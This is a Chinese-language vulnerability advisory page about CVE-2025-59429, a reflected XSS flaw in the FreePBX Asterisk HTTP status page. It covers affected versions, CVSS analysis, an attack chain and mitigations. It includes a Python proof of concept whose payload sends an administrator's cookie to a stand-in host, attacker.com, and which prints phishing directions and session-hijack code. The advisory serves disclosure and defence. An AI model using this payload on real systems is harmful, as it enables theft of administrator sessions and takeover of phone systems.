IPBUF安全漏洞报告
English
CVE-2025-59429 CVSS 5.4 中危

CVE-2025-59429 FreePBX Asterisk HTTP状态页反射型XSS漏洞

披露日期: 2025-10-14

漏洞信息

漏洞编号
CVE-2025-59429
漏洞类型
反射型跨站脚本攻击(Reflected XSS)
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
需要交互 (UI:R)
影响产品
FreePBX(开源Asterisk GUI管理工具)

相关标签

XSS反射型XSS跨站脚本FreePBXAsterisk会话劫持Cookie窃取VoIP安全Web应用漏洞CVE-2025-59429

漏洞概述

CVE-2025-59429是FreePBX开源电话管理系统(Asterisk图形化管理界面)中存在的一个反射型跨站脚本(Reflected XSS)漏洞。该漏洞存在于Asterisk HTTP状态页面(HTTP Status Page)中,影响FreePBX 16(低于16.0.68.39版本)和FreePBX 17(低于17.0.18.38版本)。在FreePBX 16中,Asterisk HTTP状态页面默认绑定到任意IP地址的8088端口并对外暴露,攻击面较大;而在FreePBX 17中,该服务默认仅绑定到本地回环地址(localhost),受攻击面显著缩小,但若管理员手动修改绑定配置,仍存在被利用的风险。该漏洞可被未经认证的攻击者利用,通过构造恶意的URL链接诱导已登录的管理员用户点击,从而窃取其会话Cookie。一旦获取管理员会话Cookie,攻击者即可劫持管理员会话,完全控制FreePBX管理界面,进而访问敏感数据、修改系统配置、创建后门账户,甚至导致服务中断。该漏洞的CVSS评分为5.4,属于中危级别,已在FreePBX 16的16.0.68.39版本和FreePBX 17的17.0.18.38版本中修复。

技术细节

该漏洞的根本原因在于FreePBX中Asterisk HTTP状态页面在处理用户输入时未进行充分的输出编码和过滤,导致攻击者可以通过精心构造的URL参数注入恶意JavaScript代码。具体技术细节如下:

1. **漏洞位置**:Asterisk HTTP状态页面(默认端口8088),该页面由FreePBX自动启用并暴露。

2. **漏洞原理**:攻击者构造包含恶意JavaScript脚本的URL,当已登录的管理员用户点击该链接时,服务器将未经过滤的用户输入直接反射回响应页面中,浏览器解析执行嵌入的脚本代码。

3. **利用方式**:攻击者通过社会工程学手段(如钓鱼邮件、即时消息等)将恶意链接发送给目标管理员用户。当管理员在已登录FreePBX的状态下点击该链接时,恶意脚本将在管理员的浏览器上下文中执行,通过`document.cookie`等API窃取会话Cookie。

4. **权限提升**:获取管理员会话Cookie后,攻击者可在自己的浏览器中设置该Cookie,冒充管理员身份访问FreePBX管理面板,执行任意管理操作。

5. **CVSS向量分析**:AV:N(网络可利用)、AC:L(攻击复杂度低)、PR:L(需要低权限)、UI:R(需要用户交互)、S:C(范围变更)、C:L(机密性影响低)、I:L(完整性影响低)、A:N(可用性无影响)。其中S:C(范围变更)反映了XSS漏洞可从Web应用上下文逃逸到用户浏览器的特点。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过端口扫描发现目标FreePBX服务器暴露了Asterisk HTTP状态页面(默认端口8088)。在FreePBX 16中,该端口绑定到任意IP地址;在FreePBX 17中默认仅绑定localhost,但可能被管理员错误配置为对外暴露。
STEP 2
步骤2:漏洞探测
攻击者向Asterisk HTTP状态页面发送包含测试payload的请求,确认页面存在反射型XSS漏洞,恶意输入未经编码直接回显到响应页面中。
STEP 3
步骤3:构造恶意URL
攻击者构造包含JavaScript窃取脚本的恶意URL,脚本功能为通过document.cookie获取当前用户的会话Cookie,并将其外传到攻击者控制的服务器。
STEP 4
步骤4:钓鱼诱导
攻击者通过钓鱼邮件、即时通讯工具或论坛等方式将恶意URL发送给FreePBX管理员,诱导其在已登录状态下点击该链接。
STEP 5
步骤5:Cookie窃取
管理员点击链接后,恶意JavaScript在管理员浏览器上下文中执行,将其会话Cookie通过HTTP请求发送到攻击者的监听服务器。
STEP 6
步骤6:会话劫持与权限提升
攻击者获取管理员会话Cookie后,在自己的浏览器中设置该Cookie,冒充管理员身份登录FreePBX管理面板,获得完全管理权限。
STEP 7
步骤7:恶意操作
攻击者利用管理员权限访问敏感数据、修改系统配置、创建后门账户、篡改电话路由规则,甚至植入持久化后门,导致服务中断或长期控制目标系统。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-59429 - FreePBX Asterisk HTTP Status Page Reflected XSS PoC # Vulnerability: Reflected XSS in Asterisk HTTP Status Page (port 8088) # Target: FreePBX 16 < 16.0.68.39, FreePBX 17 < 17.0.18.38 import requests import urllib.parse TARGET_HOST = "http://target-freepbx:8088" LISTENER_HOST = "http://attacker.com" # Step 1: Craft the malicious XSS payload to steal session cookies # The payload exfiltrates the victim's cookies to an attacker-controlled server xss_payload = ( "<script>" "var img=new Image();" f"img.src='{LISTENER_HOST}/steal?c='+document.cookie;" "</script>" ) # Step 2: Inject the payload into a vulnerable parameter on the Asterisk HTTP Status page # The injected value is reflected back without proper sanitization vulnerable_endpoint = "/httpstatus" injected_param = "var" # Parameter that reflects user input malicious_url = f"{TARGET_HOST}{vulnerable_endpoint}?{injected_param}={urllib.parse.quote(xss_payload)}" print(f"[+] Malicious URL generated:\n{malicious_url}") print(f"[*] Send this URL to a logged-in FreePBX administrator via phishing") print(f"[*] When admin clicks, their session cookie will be sent to {LISTENER_HOST}/steal") # Step 3: Verify the endpoint is reachable (optional reconnaissance) try: r = requests.get(f"{TARGET_HOST}{vulnerable_endpoint}", timeout=5) print(f"[+] Target reachable, HTTP status: {r.status_code}") except Exception as e: print(f"[-] Target unreachable: {e}") # Step 4: After obtaining the admin cookie, hijack the session # stolen_cookie = "<captured_cookie_value>" # admin_session = requests.Session() # admin_session.cookies.set('PHPSESSID', stolen_cookie.split('PHPSESSID=')[1].split(';')[0]) # resp = admin_session.get(f"{TARGET_HOST.replace(':8088', '')}/admin/config.php") # print(f"[+] Admin panel access: {resp.status_code}")

影响范围

FreePBX 16 < 16.0.68.39
FreePBX 17 < 17.0.18.38

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)将Asterisk HTTP状态页面绑定地址修改为仅监听本地回环地址(127.0.0.1),限制外部网络访问;2)通过防火墙规则限制8088端口的访问来源,仅允许可信管理IP访问;3)为所有FreePBX管理员账户启用多因素认证(MFA),即使Cookie被窃取也需要额外验证;4)定期清理和轮换管理员会话,缩短会话有效期;5)对管理员进行安全意识培训,警惕可疑链接。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表